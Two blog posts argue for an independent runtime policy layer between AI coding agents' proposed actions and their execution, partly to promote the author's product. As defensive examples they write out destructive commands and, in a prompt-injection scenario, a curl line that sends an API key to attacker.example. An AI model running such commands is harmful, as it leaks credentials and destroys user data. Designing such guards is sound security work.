DEV Community: Hthomas4

How Runtime Policy Enforcement Works Around AI Agent Actions

Hthomas4 — Fri, 04 Sep 2026 12:27:18 +0000

AI assistants used to have a relatively simple security boundary.

A user submitted a prompt. A model generated a response. The response was displayed to the user.

That model is changing.

Coding agents and other agentic AI systems can now execute commands, modify files, install dependencies, call external tools, interact with repositories, and perform multi-step workflows.

That introduces a different security question:

What is the agent actually allowed to do?

Prompt filtering is still important, but once an AI system can take actions, security also needs to exist between the agent's decision and execution.

That's where runtime policy enforcement comes in.

From model output to agent action

Consider a coding agent that decides it needs to execute:

npm install some-package

The traditional flow might look like:

User
  ↓
Prompt
  ↓
Model
  ↓
Agent
  ↓
Tool / Shell
  ↓
Execution

The agent reasons that installing the package is necessary and invokes the appropriate tool.

But the model's decision to perform an action shouldn't necessarily be the same thing as authorization to perform it.

A runtime governance layer changes the execution path:

User
  ↓
Prompt
  ↓
Model
  ↓
Agent
  ↓
Proposed Action
  ↓
Policy Evaluation
  ↓
ALLOW / WARN / BLOCK
  ↓
Execution
  ↓
Audit Evidence

The important distinction is that the agent proposes an action; an independent policy boundary determines whether that action should proceed.

An action needs more context than the command itself

A policy engine shouldn't evaluate only:

npm install some-package

The same command can have very different risk depending on where and how it's being executed.

A useful policy decision might consider:

Actor
Agent
Action
Resource
Environment
Repository
Tool
Risk
Policy

For example:

Actor:      developer@example.com
Agent:      coding-agent
Action:     dependency_install
Resource:   npm package
Repository: prototype-app
Context:    development

The policy might return:

WARN

Now imagine the same action against a critical production repository:

Actor:      developer@example.com
Agent:      coding-agent
Action:     dependency_install
Resource:   npm package
Repository: payments-service
Context:    production-critical

The decision could instead be:

BLOCK

Same action.

Different context.

Different policy.

Why not just ALLOW or BLOCK?

Binary authorization works well for many traditional systems, but AI-assisted workflows can benefit from an intermediate state.

A useful model is:

ALLOW
WARN
BLOCK

ALLOW means the action satisfies policy and can continue.

WARN means the action presents some risk, but execution may continue after notifying the user or requiring acknowledgement.

BLOCK means the action violates policy and execution should not proceed.

Some environments can extend this further:

ALLOW
WARN
APPROVAL_REQUIRED
BLOCK

That allows higher-risk actions to be escalated to a human or another authorization system.

Policy should be independent from the agent

This is an important architectural property.

Suppose the same AI agent that decides:

I need to modify this file

also decides:

I'm authorized to modify this file

The agent effectively becomes its own security boundary.

That's dangerous.

A stronger architecture separates reasoning from authorization:

AI proposes.
Policy decides.

The agent can remain highly capable while its authority remains constrained by an independent system.

This is similar to security patterns we already use elsewhere.

Applications don't generally decide whether their users should have unrestricted database access. Operating systems don't let arbitrary processes decide their own permissions.

Agentic systems shouldn't be fundamentally different.

What exactly can be governed?

For coding agents, the policy boundary can potentially cover several classes of actions.

Shell commands

rm -rf ./directory
curl ...
npm install ...
terraform apply
kubectl delete ...

Policies can evaluate command type, arguments, environment, identity, repository, and other context.

File operations

An agent might attempt to modify:

README.md

or:

.env

Those should not necessarily receive the same authorization decision.

Repository actions

Actions such as:

commit
push
merge
branch deletion

can be evaluated against repository sensitivity and organizational policy.

Tool calls

Agents increasingly interact with external tools and services.

A policy decision can consider:

Which agent is calling the tool?
Which tool is being invoked?
Which resource will it access?
What action is being requested?
What environment is involved?

This becomes especially important as MCP and other agent-tool interfaces expand what agents can access.

Prompt security and action security solve different problems

Prompt injection defenses attempt to determine whether instructions entering or influencing a model are malicious.

That's necessary.

But consider this sequence:

Benign Prompt
      ↓
Valid Model Reasoning
      ↓
Legitimate Agent Goal
      ↓
Dangerous Action

Nothing requires the original prompt to be malicious.

The agent could simply make an unsafe decision, misunderstand context, operate with excessive permissions, or attempt an action that organizational policy doesn't permit.

That's why:

A safe prompt does not guarantee a safe execution path.

Prompt security protects one part of the system.

Runtime authorization protects another.

The two should complement each other.

Enforcement also needs evidence

Blocking an action is only part of governance.

Organizations also need to know what happened.

A useful event record might contain:

{
  "actor": "developer@example.com",
  "agent": "coding-agent",
  "action": "dependency_install",
  "resource": "some-package",
  "repository": "payments-service",
  "environment": "production",
  "policy": "critical-repo-dependency-policy",
  "decision": "BLOCK",
  "timestamp": "..."
}

This creates a record of:

Who
↓
Using which agent
↓
Attempted what action
↓
Against which resource
↓
Under what context
↓
Which policy applied
↓
What decision was made

That evidence becomes useful for security investigations, compliance, policy tuning, and understanding how AI systems are actually behaving inside an organization.

Runtime governance isn't observability

Observability answers:

What did the agent do?

Runtime governance adds another question:

What should the agent be allowed to do?

The distinction becomes important as AI systems gain more authority.

An organization may eventually have excellent telemetry showing that an agent deleted a resource, modified a sensitive file, or invoked a dangerous tool.

That's useful after the fact.

But sometimes the desired outcome is:

Agent attempts action
        ↓
Policy evaluates action
        ↓
BLOCK
        ↓
Action never executes

Visibility tells you what happened.

Enforcement can change what happens.

The authorization boundary is moving

As agents become more capable, the security boundary increasingly moves beyond prompts and model responses.

We need to reason about:

Actor
  ↓
Agent
  ↓
Action
  ↓
Resource
  ↓
Context
  ↓
Policy
  ↓
Decision
  ↓
Evidence

That doesn't mean agents should become less capable.

It means agent intelligence and agent authority should be treated as separate concerns.

An agent may be capable of executing a command, modifying a repository, invoking a tool, or accessing a resource.

Whether it should be permitted to do so is an authorization decision.

And as AI systems move from generating answers to taking actions, that authorization layer is going to become increasingly important.

About Oconee Runtime

I’m building Oconee Runtime and exploring how runtime governance should work as AI systems move from generating responses to taking real actions.

The goal is to give teams visibility into AI activity and an independent policy layer for governing actions across AI tools, coding agents, and engineering workflows.

If you’re working on agent security, AI governance, or authorization for AI actions, I’d be interested in hearing how you’re approaching the problem.

AI proposes. Policy decides.

What Happens Between an AI Agent Generating a Command and Executing It?

Hthomas4 — Sun, 30 Aug 2026 16:00:34 +0000

AI coding agents can generate shell commands, modify files, invoke tools, and interact with repositories. The interesting security question is what happens in the milliseconds between deciding on an action and actually performing it.

Consider a coding agent working on a routine task.

You tell it:

“Clean up the old build artifacts and fix the deployment script.”

The agent inspects the repository, reasons about the task, and eventually decides to execute:

rm -rf ./dist

In a development workspace, that might be exactly what you want.

Now change one detail:

rm -rf ./production

Or:

curl -H "Authorization: Bearer $TOKEN" \
https://external-example.com/upload

Or:

npm install some-untrusted-package

The important security question isn’t just:

Why did the model generate this command?

There’s another question:

What happens between the agent generating the command and the operating system executing it?

In many agent architectures, the answer is effectively:

Model decides
↓
Agent invokes tool
↓
Tool executes

That’s an extremely important boundary.

Because once AI moves from generating actions to executing them, model security becomes an authorization problem too.

⸻

Generation and Execution Are Different Security Events

A language model generating:

rm -rf ./important-directory

isn’t necessarily a security incident.

It’s text.

The command becomes consequential when something executes it.

That’s the difference between a traditional coding assistant and an increasingly autonomous coding agent.

A coding assistant might produce:

You can fix this by running:
npm install package-x

The developer evaluates the recommendation and decides whether to execute it.

But an agent with shell access may do this:

User Request
↓
Agent Reasoning
↓
Generate Command
↓
Execute Command

The human decision point has potentially disappeared.

That changes where security controls need to exist.

⸻

What Does an Agent Actually Do?

The implementation varies by agent, but conceptually an agentic coding loop looks something like:

┌───────────────────┐
│ User Task │
└─────────┬─────────┘
↓
┌───────────────────┐
│ Model Reasoning │
└─────────┬─────────┘
↓
┌───────────────────┐
│ Select Tool │
└─────────┬─────────┘
↓
┌───────────────────┐
│ Construct Action │
└─────────┬─────────┘
↓
┌───────────────────┐
│ Execute Tool │
└─────────┬─────────┘
↓
┌───────────────────┐
│ Observe Result │
└─────────┬─────────┘
↓
Continue Loop

The tool might be:

shell
filesystem
Git
GitHub
HTTP client
database
MCP server
cloud API
CI/CD system

And the proposed action might be:

{
"tool": "shell",
"command": "npm install package-x"
}

Or:

{
"tool": "filesystem",
"operation": "delete",
"path": "/production/config.json"
}

Or:

{
"tool": "git",
"operation": "push",
"branch": "main"
}

The model has effectively produced a structured request for the surrounding system to perform an operation.

That’s where things get interesting.

⸻

There Is a Security Boundary Hiding in the Agent Loop

Suppose an agent proposes:

{
"operation": "delete_file",
"resource": "/production/config.json"
}

There are two possible architectures.

Architecture A

Agent
↓
Tool
↓
Execution

The agent decides what should happen, and the system performs it.

Architecture B

Agent
↓
Proposed Action
↓
Authorization
↓
Tool
↓
Execution

That extra step changes the security model considerably.

Now the system can ask questions independently of the model:

Who initiated this task?
Which agent is acting?
What action is being requested?
What resource will be affected?
Which environment is this?
What permissions does the agent have?
What organizational policy applies?
Does this require human approval?

Only then does execution occur.

⸻

The Model Should Propose. Something Else Should Decide.

This separation already exists throughout computer security.

Applications don’t normally decide their own database permissions.

Users don’t decide whether their own credentials are valid.

Processes don’t get unrestricted access merely because they request it.

We have independent authorization systems for a reason.

Agents should follow the same principle.

Imagine:

Agent:
delete_file("/production/config.json")
↓
Policy Engine:
resource = production
action = delete
actor = coding-agent
risk = critical
↓
Decision:
DENY

The agent can disagree.

It doesn’t matter.

The authorization boundary exists outside the model.

That’s the important property.

⸻

Context Changes the Decision

Here’s another complication.

Commands aren’t inherently safe or unsafe.

Consider:

rm -rf ./build

Should that be allowed?

It depends.

If the agent is operating inside:

~/projects/test-app/build

probably.

If it’s operating inside:

/production/customer-data/build

perhaps not.

The command is identical.

The context isn’t.

So authorization might evaluate something closer to:

Actor
+
Action
+
Resource
+
Environment
+
Permissions
+
Context
+
Policy

And produce:

ALLOW
WARN
REQUIRE_APPROVAL
BLOCK

For example:

Scratch repository
rm -rf ./build
→ ALLOW
Development repository
rm -rf ./build
→ WARN
Critical production repository
rm -rf ./build
→ REQUIRE_APPROVAL
Protected resource
rm -rf ./secrets
→ BLOCK

Same action. Different context. Different policy.

⸻

Why Prompt Filtering Doesn’t Solve This

The obvious response might be:

“Shouldn’t we just prevent the model from generating dangerous commands?”

We should certainly try.

But that can’t be the entire security architecture.

Imagine the developer asks:

“Remove all obsolete deployment resources.”

Nothing malicious there.

The agent decides that a particular production resource is obsolete.

It’s wrong.

No prompt injection occurred.

No attacker was involved.

No jailbreak happened.

The model simply misunderstood the environment.

Prompt filtering has nothing meaningful to detect.

Yet the proposed action can still be dangerous.

The same thing can happen because of:

hallucination;
ambiguous instructions;
stale context;
incorrect reasoning;
incorrect tool selection;
software bugs;
unexpected system state;
excessive permissions.

That’s why the security control should evaluate the action, not merely the reason the model arrived at it.

⸻

Prompt Injection Makes the Problem Worse

Now add untrusted context.

A developer asks:

“Investigate this issue and implement the fix.”

The agent starts researching.

It reads:

README.md

Then:

issue #481

Then external documentation.

Then an MCP tool response.

One of those sources contains instructions designed to manipulate the agent.

The original user prompt was safe.

But the agent’s context no longer consists solely of trusted instructions.

If the manipulated agent subsequently proposes:

curl -d "$API_KEY" https://attacker.example

detecting the malicious input would obviously be useful.

But there’s another opportunity to stop the attack:

Agent proposes outbound transmission
↓
Runtime policy evaluates action
↓
Sensitive credential detected
+
Unapproved external destination
↓
BLOCK

This is defense in depth.

You try to stop the malicious instruction from influencing the model.

But you also assume that sometimes it will.

⸻

Control the Sink, Not Just the Source

A useful way to reason about this is in terms of sources and sinks.

A source gives untrusted information an opportunity to influence an agent.

Examples:

Web page
README
Issue
Email
Document
MCP response
Database record
Code comment

A sink is a capability that becomes dangerous when manipulated.

Examples:

Shell execution
File modification
Network request
Git push
Credential access
API call
Database mutation
Cloud operation
MCP invocation

Agent security needs controls around both.

Trying to eliminate every possible malicious source becomes increasingly difficult as agents consume more context.

Controlling consequential sinks gives you another boundary.

⸻

Put Policy Between Intention and Execution

A stronger execution path looks like this:

Prompt
↓
Model
↓
Agent
↓
Proposed Action
↓
┌──────────────────────────┐
│ Runtime Policy │
│ │
│ Identity │
│ Action │
│ Resource │
│ Context │
│ Environment │
│ Risk │
└────────────┬─────────────┘
↓
ALLOW / WARN / APPROVE / BLOCK
↓
Tool
↓
Execution

That creates a deterministic security boundary around a probabilistic system.

The model can reason.

The model can plan.

The model can recommend.

But it doesn’t automatically get the final word on authorization.

⸻

Human Approval Still Has a Role

This doesn’t mean putting a confirmation dialog in front of every command.

That would make agents unbearable to use.

Authorization should be proportional to risk.

For example:

read_file(src/example.ts)
→ ALLOW
run_test()
→ ALLOW
install_dependency(new-package)
→ WARN
push_to_main()
→ REQUIRE_APPROVAL
read_production_secret()
→ BLOCK
delete_production_database()
→ BLOCK

Low-risk work remains autonomous.

Higher-risk actions cross stronger boundaries.

That’s how you preserve the productivity benefit without treating autonomy as unrestricted authority.

⸻

You Also Need Evidence

There’s another benefit to intercepting the action before execution.

You can create a useful audit trail.

Instead of merely knowing:

Claude Code session started at 14:32

you can reconstruct:

14:32:01 Task initiated
14:32:07 Agent read repository
14:32:14 Agent proposed shell command
14:32:14 Policy evaluated command
14:32:14 Risk: HIGH
14:32:14 Decision: REQUIRE_APPROVAL
14:32:51 Approval granted by user
14:32:52 Command executed
14:32:53 Exit code: 0

For security teams, that distinction is significant.

You’re no longer merely logging that an AI tool was used.

You’re recording:

what it attempted to do,

where it attempted to do it,

which policy applied,

what decision was made,

and potentially what happened afterward.

⸻

This Is the Boundary We’re Building Around in Oconee Runtime

This execution boundary is one of the problems we’re working on with Oconee Runtime.

The basic model is:

AI Agent
↓
Proposed Action
↓
Oconee Runtime
↓
Policy + Identity + Resource + Context + Risk
↓
ALLOW | WARN | REQUIRE APPROVAL | BLOCK
↓
Execution
↓
Evidence

The objective isn’t to prevent AI agents from doing useful work.

It’s the opposite.

If we’re going to give agents increasingly powerful tools, we need a way to give them capability without automatically giving them unrestricted authority.

That distinction becomes increasingly important as coding agents move from:

"Here's the command you could run."

to:

"I ran it."

⸻

The Missing Milliseconds Matter

When we think about AI-agent security, it’s natural to focus on the model.

Was the prompt malicious?

Was the model manipulated?

Was the response safe?

Those questions matter.

But there’s another security boundary worth paying attention to:

The moment after an agent decides what it wants to do and before the system actually does it.

Those milliseconds create an opportunity to:

authenticate

authorize

evaluate context

apply policy

require approval

block dangerous operations

record evidence

before intention becomes execution.

The broader principle is simple:

Never let the agent be its own security boundary.

The model proposes.

The security layer decides.

And only then should the system act.

⸻

About Oconee Runtime

Oconee Runtime is an enterprise AI governance platform designed to help organizations see and control what AI tools and agents actually do. Runtime applies context-aware policy to AI-assisted activity and provides enforcement and auditability across supported workflows.

Learn more → [OCONEE RUNTIME LINK]